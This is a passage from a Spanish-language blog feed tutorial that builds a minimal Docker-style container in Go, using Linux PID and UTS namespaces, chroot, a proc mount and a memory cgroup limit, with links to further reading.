style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tuHostNameOriginal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;aislando-procesos-con-el-namespace-pid&#34;&gt;Aislando procesos con el namespace PID&lt;/h3&gt;&#xA;&lt;p&gt;Ya que vimos como funciona un namespace, vamos a usarlo para la función principal de un contenedor; aislar procesos.&lt;/p&gt;&#xA;&lt;p&gt;Haremos los siguientes cambios al código principal.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;En la función run, nos aseguraremos de que child sea un argumento siempre y por ende se ejecute la función del mismo nombre.&lt;/li&gt;&#xA;&lt;li&gt;exec.Command(&amp;quot;/proc/self/exe&amp;quot;, args&amp;hellip;) se encargará de realizar un fork de nuestro proceso con nuestros comandos.&lt;/li&gt;&#xA;&lt;li&gt;CLONE_NEWPID se usará para crear un nuevo namespace para aislar los procesos en nuestro container.&lt;/li&gt;&#xA;&lt;li&gt;El método &lt;em&gt;Sethostname&lt;/em&gt; se encargará de establecer el hostname de manera automática, útil para saber que estamos dentro del container.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;El resto del código hace exactamente lo mismo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/exec&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;syscall&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// go run container.go run &amp;lt;cmd&amp;gt; &amp;lt;args&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;switch&lt;/span&gt; os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;run&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;child&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El comando no existe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;args &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;child&amp;#34;&lt;/span&gt;}, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/proc/self/exe&amp;#34;&lt;/span&gt;, args&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.SysProcAttr = &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;syscall.SysProcAttr{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;Cloneflags: syscall.CLONE_NEWUTS | syscall.CLONE_NEWPID,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Código ejecutándose %v con el Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sethostname&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;container&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, si ejecutamos el código veremos que el PID es 1, el primer proceso, ¡Ya tenemos aislados lor procesos! Sin embargo, como no hemos cambiado el sistema de archivos, veremos los mismos procesos de nuestro sistema operativo principal.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/#ps&#34;&gt;comando &lt;em&gt;ps&lt;/em&gt;&lt;/a&gt;&#xA; obtiene los procesos del directorio &lt;em&gt;/proc&lt;/em&gt; del sistema de archivos que estemos usando. En otras palabras, necesitamos otro sistema de archivos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;establecer-un-nuevo-sistema-de-archivos-para-el-container&#34;&gt;Establecer un nuevo sistema de archivos para el container&lt;/h2&gt;&#xA;&lt;p&gt;Para usar un sistema de archivos único para el container, que no sea el sistema de archivos de nuestro sistema operativo, echaremos de mano del comando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/#chroot&#34;&gt;&lt;em&gt;chroot&lt;/em&gt;&lt;/a&gt;&#xA; de linux.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Chroot&lt;/em&gt; cambia la ubicación predeterminada del root o raiz a un directorio que nosotros le indiquemos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls /otro_sistema_de_archivos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bin dev home lib ... proc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este nuevo sistema de archivos puede tener otras librerías instaladas, configuraciones y estar diseñado a nuestro gusto, puede ser una copia del que estás usando u otro completamente diferente.&lt;/p&gt;&#xA;&lt;p&gt;Para aislar los procesos de nuestro container vamos a:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cambiar el sistema de archivos al nuevo con Chroot&lt;/li&gt;&#xA;&lt;li&gt;Movernos al directorio raiz&lt;/li&gt;&#xA;&lt;li&gt;Montar la carpeta proc en proc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Código ejecutándose %v con el Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sethostname&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;container&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Chroot&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/otro_sistema_de_archivos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Chdir&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Mount&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora nuestro container va a leer los procesos de nuestro nuevo sistema de archivos, en lugar del sistema de archivos del sistema operativo principal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;limitar-recursos-del-container-con-cgroups&#34;&gt;Limitar recursos del container con cgroups&lt;/h2&gt;&#xA;&lt;p&gt;Por último, vamos a limitar los recursos a los que nuestro container puede acceder usando los cgroups de linux.&lt;/p&gt;&#xA;&lt;p&gt;Los cgroups se localizan dentro de la ruta &lt;em&gt;/sys/fs/cgroup/&lt;/em&gt; y podemos crear uno nuevo creando una nueva carpeta dentro del tipo de cgroup.&lt;/p&gt;&#xA;&lt;p&gt;En este caso limitaremos la memoria, por lo que nuestro cgroup estará dentro de &lt;em&gt;/sys/fs/cgroup/memory/&amp;lt;nombre_del_cgroup&amp;gt;&lt;/em&gt;. ¿Recuerdas que te dije que los cgroups funcionaban leyendo una serie de directorios y archivos?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;setcgroup&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setcgroup&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cgPath &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/sys/fs/cgroup/memory&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nuevocgroup&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Mkdir&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#ff9f43&#34;&gt;0755&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;ioutil.&lt;span style=&#34;color:#57c7ff&#34;&gt;WriteFile&lt;/span&gt;(filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;memory.limit_in_bytes&amp;#34;&lt;/span&gt;), []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;100000000&amp;#34;&lt;/span&gt;), &lt;span style=&#34;color:#ff9f43&#34;&gt;0700&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ioutil.&lt;span style=&#34;color:#57c7ff&#34;&gt;WriteFile&lt;/span&gt;(filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tasks&amp;#34;&lt;/span&gt;), []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(strconv.&lt;span style=&#34;color:#57c7ff&#34;&gt;Itoa&lt;/span&gt;(os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())), &lt;span style=&#34;color:#ff9f43&#34;&gt;0700&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creamos un directorio para nuestro cgroup con los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/entiende-los-permisos-en-gnu-linux-y-el-comando-chmod/&#34;&gt;permisos de linux 0755&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Generaremos dos archivos, dentro de nuestro cgroup, para establecer las directrices que queremos implementar&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;memory.limit_in_bytes&lt;/em&gt;, para limitar el máximo de memoria a 100 MB (100000000 bytes).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;tasks&lt;/em&gt; para indicarle a linux que esta configuración de cgroup es aplicable al número de proceso (PID) de nuestro container, el cual obtenemos con el método Getpid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Y listo, con eso tenemos un proceso con su propio sistema de archivos, aislado del sistema operativo principal y que puede acceder únicamente a una parte de los recursos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-un-container-de-docker-en-pocas-palabras&#34;&gt;¿Cómo funciona un container de Docker en pocas palabras?&lt;/h2&gt;&#xA;&lt;p&gt;Resumiendo, es posible crear un container usando namespaces, cgroups y chroot, para aislar del exterior, limitar los recursos, y proveer de un sistema de archivos propio, respectivamente.&lt;/p&gt;&#xA;&lt;p&gt;El código de esta publicación está basado en una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=Utf-A4rODH8&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;plática de LizRice&lt;/a&gt;&#xA; en el ContainerCamp.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otros-recursos-para-profundizar-en-containers-de-docker&#34;&gt;Otros recursos para profundizar en containers de Docker&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wvi.cz/diyC/namespaces/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Namespaces&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://clibre.io/blog/por-secciones/hardening/item/425-cgroups-grupos-de-control-en-gnu-linux&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cgroups&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.estrellateyarde.org/virtualizacion/la-jaula-en-linux-chroot&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Chroot&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jessicagreben.medium.com/what-is-the-difference-between-a-process-a-container-and-a-vm-f36ba0f8a8f7&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Difference between a process a container and a vm&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los containers, especialmente los de Docker, son usados en todos lados, solemos verlos como pequeños sistemas operativos aislados que se encuentran dentro de nuestro sistema. Usando los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;comandos básicos de Docker&lt;/a&gt;&#xA; podemos modificarlos, crearlos, borrrarlos e incluso introducirnos en ellos y correr comandos, pero ¿te has preguntando cómo funcionan internamente?&lt;/p&gt;&#xA;&lt;p&gt;Sabemos que un container es un proceso de linux con varias características:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Es un proceso, o grupo de procesos, de linux ejecutado por un usuario.&lt;/li&gt;&#xA;&lt;li&gt;Está aislado del sistema operativo que lo aloja (&lt;strong&gt;Namespaces&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Tiene una cantidad de recursos limitada (&lt;strong&gt;Cgroups&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Cuenta con un sistema de archivos independiente al del sistema operativo en el que corre (&lt;strong&gt;Chroot&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para lograr lo anterior los docker, y las demás tecnologías de contenedores, echan mano de algunas características de GNU/Linux (de ahora en adelante solo linux):&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Autocompletado, Sugerencias y Relacionados con Solr Y Django</title>
